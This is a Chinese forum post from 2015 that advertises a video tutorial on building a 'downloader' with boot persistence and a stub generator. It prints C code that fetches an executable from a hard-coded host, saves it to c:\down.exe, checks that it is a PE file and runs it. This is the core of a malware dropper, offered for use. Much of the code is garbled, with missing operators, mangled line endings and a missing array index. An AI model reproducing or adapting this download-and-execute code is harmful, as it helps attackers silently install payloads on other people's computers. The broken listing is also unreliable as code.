共有回帖数 0 个
-
给大家做一套 VC 编写下载器 的视频
视频分为2部分
1:服务端 实现下载 统计 开机启动
2:生成器 界面编写 生成服务端.
本节视频代码:
#include "stdafx.h"
#include stdlib.h
#include WINSOCK2.h
#pragma comment(lib,"WS2_32.LIB")
BOOL Download(LPSTR szURL,LPSTR szSavePath)
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET m_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN m_Addr={NULL};
m_Addr.sin_family = AF_INET;
m_Addr.sin_port = htons(80);
m_Addr.sin_addr.S_un.S_addr = inet_addr("192.168.1.100");
if(connect(m_Socket,(SOCKADDR *)&m_Addr,sizeof(SOCKADDR))==SOCKET_ERROR)
{
closesocket(m_Socket);
return FALSE;
}
CHAR szSendBuffer[]="GET /calc.exe HTTP/1.1rn"
"Host:192.168.1.100rn"
"Accept:*/*rn"
"User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)rn"
"Connection:Keep-Alivern"
"rn";
send(m_Socket,szSendBuffer,strlen(szSendBuffer),NULL);
CHAR szRecvBuffer[1000]={NULL};
WORD Size = sizeof(szRecvBuffer);
ZeroMemory(szRecvBuffer,Size);
WORD RecvLen = 0;
RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
puts(szRecvBuffer);
DWORD FileSize =0;
CHAR *Point = strstr(szRecvBuffer,"Content-Length: ");
Point+=strlen("Content-Length: ");
FileSize = atoi(Point);
WORD RevcHttpSize =0;
for (WORD i=0;iRecvLen;i++)
{
if(szRecvBuffer=='r')
{
if(szRecvBuffer[i+1]=='n'&&szRecvBuffer[i+2]=='r'&&szRecvBuffer[i+3]=='n')
break;
}
}
i+=4;
DeleteFile(szSavePath);
HANDLE m_Handle = CreateFile(szSavePath,GENERIC_WRITE,FILE_SHARE_WRITE,
NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
DWORD Written =0;
DWORD iCount = 0;
WriteFile(m_Handle,&szRecvBuffer,RecvLen-i,&Written,NULL);
iCount+=RecvLen -i;
do
{
RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
iCount+=RecvLen;
WriteFile(m_Handle,szRecvBuffer,RecvLen,&Written,NULL);
} while (iCount FileSize);
closesocket(m_Socket);
CloseHandle(m_Handle);
puts("下载成功!");
return TRUE;
}
int main(int argc, char* argv[])
{
Download(NULL,"c:\down.exe");
return 0;
}
视频语音.
下载地址 1楼发上来 上传中.
http://u.115.com/file/f699961fba
不知道百度吞不吞
预防百度吞地址
改一下
http://u点115点com/file/f699961fba
#include "stdafx.h"
#include stdlib.h
#include WINSOCK2.h
#pragma comment(lib,"WS2_32.LIB")
#include Shellapi.h
#pragma comment(lib,"shell32.lib")
BOOL Download(LPSTR szURL,LPSTR szSavePath)
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET m_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN m_Addr={NULL};
m_Addr.sin_family = AF_INET;
m_Addr.sin_port = htons(80);
m_Addr.sin_addr.S_un.S_addr = inet_addr("192.168.1.100");
if(connect(m_Socket,(SOCKADDR *)&m_Addr,sizeof(SOCKADDR))==SOCKET_ERROR)
{
closesocket(m_Socket);
return FALSE;
}
CHAR szSendBuffer[]="GET /calc.exe HTTP/1.1rn"
"Host:192.168.1.100rn"
"Accept:*/*rn"
"User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)rn"
"Connection:Keep-Alivern"
"rn";
send(m_Socket,szSendBuffer,strlen(szSendBuffer),NULL);
CHAR szRecvBuffer[1000]={NULL};
WORD Size = sizeof(szRecvBuffer);
ZeroMemory(szRecvBuffer,Size);
WORD RecvLen = 0;
RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
puts(szRecvBuffer);
DWORD FileSize =0;
CHAR *Point = strstr(szRecvBuffer,"Content-Length: ");
Point+=strlen("Content-Length: ");
FileSize = atoi(Point);
WORD RevcHttpSize =0;
for (WORD i=0;iRecvLen;i++)
{
if(szRecvBuffer=='r')
{
if(szRecvBuffer[i+1]=='n'&&szRecvBuffer[i+2]=='r'&&szRecvBuffer[i+3]=='n')
break;
}
}
i+=4;
DeleteFile(szSavePath);
HANDLE m_Handle = CreateFile(szSavePath,GENERIC_WRITE,FILE_SHARE_WRITE,
NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
DWORD Written =0;
DWORD iCount = 0;
WriteFile(m_Handle,&szRecvBuffer,RecvLen-i,&Written,NULL);
iCount+=RecvLen -i;
do
{
RecvLen = recv(m_Socket,szRecvBuffer,Size,NULL);
iCount+=RecvLen;
WriteFile(m_Handle,szRecvBuffer,RecvLen,&Written,NULL);
} while (iCount FileSize);
closesocket(m_Socket);
CloseHandle(m_Handle);
puts("下载成功!");
return TRUE;
}
BOOL CheckPeFile(LPSTR szFilePath)
{
//http://hi.baidu.com/8ohack/blog/item/0ab2deeb557d8cdfd539c9ac.html
FILE *stream = fopen(szFilePath,"rb");
if(stream == NULL)
return FALSE;
IMAGE_DOS_HEADER idh;
fread(&idh,sizeof(IMAGE_DOS_HEADER),1,stream);
if(idh.e_magic != 0x5A4D)
{
fclose(stream);
return FALSE;
}
fseek(stream,idh.e_lfanew,SEEK_SET);
IMAGE_NT_HEADERS32 inh;
fread(&inh,sizeof(IMAGE_NT_HEADERS32),1,stream);
if(inh.Signature != 0x4550)
{
fclose(stream);
return FALSE;
}
fclose(stream);
return TRUE;
}
void MyExeCute(LPSTR szFilePath)
{
//http://baike.baidu.com/view/1286882.htm
//WinExec(szFilePath,SW_SHOW);
//http://baike.baidu.com/view/1044533.htm
//ShellExecute(NULL,"open",szFilePath,NULL,NULL,SW_SHOW);
//http://baike.baidu.com/view/697167.htm
STARTUPINFO st;
ZeroMemory(&st,sizeof(STARTUPINFO));
st.cb =sizeof(STARTUPINFO);
st.dwFlags = STARTF_USESHOWWINDOW;
st.wShowWindow = SW_SHOW;
PROCESS_INFORMATION pi;
CreateProcess(szFilePath,NULL,NULL,NULL,FALSE,CREATE_NEW_PROCESS_GROUP,NULL,NULL,
&st,&pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
int main(int argc, char* argv[])
{
Download(NULL,"c:\down.exe");
if(CheckPeFile("c:\down.exe")==FALSE)
return 0;
MyExeCute("c:\down.exe");
return 0;
}
第二套视频出来了
第一: 运行文件的 几种方式
第二: 检测文件是否是PE文件
视频下载地址:
http://u.115.com/file/f632027e0d
楼主 2015-11-12 19:32 回复
Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号
意见反馈 |
关于直线 |
版权声明 |
会员须知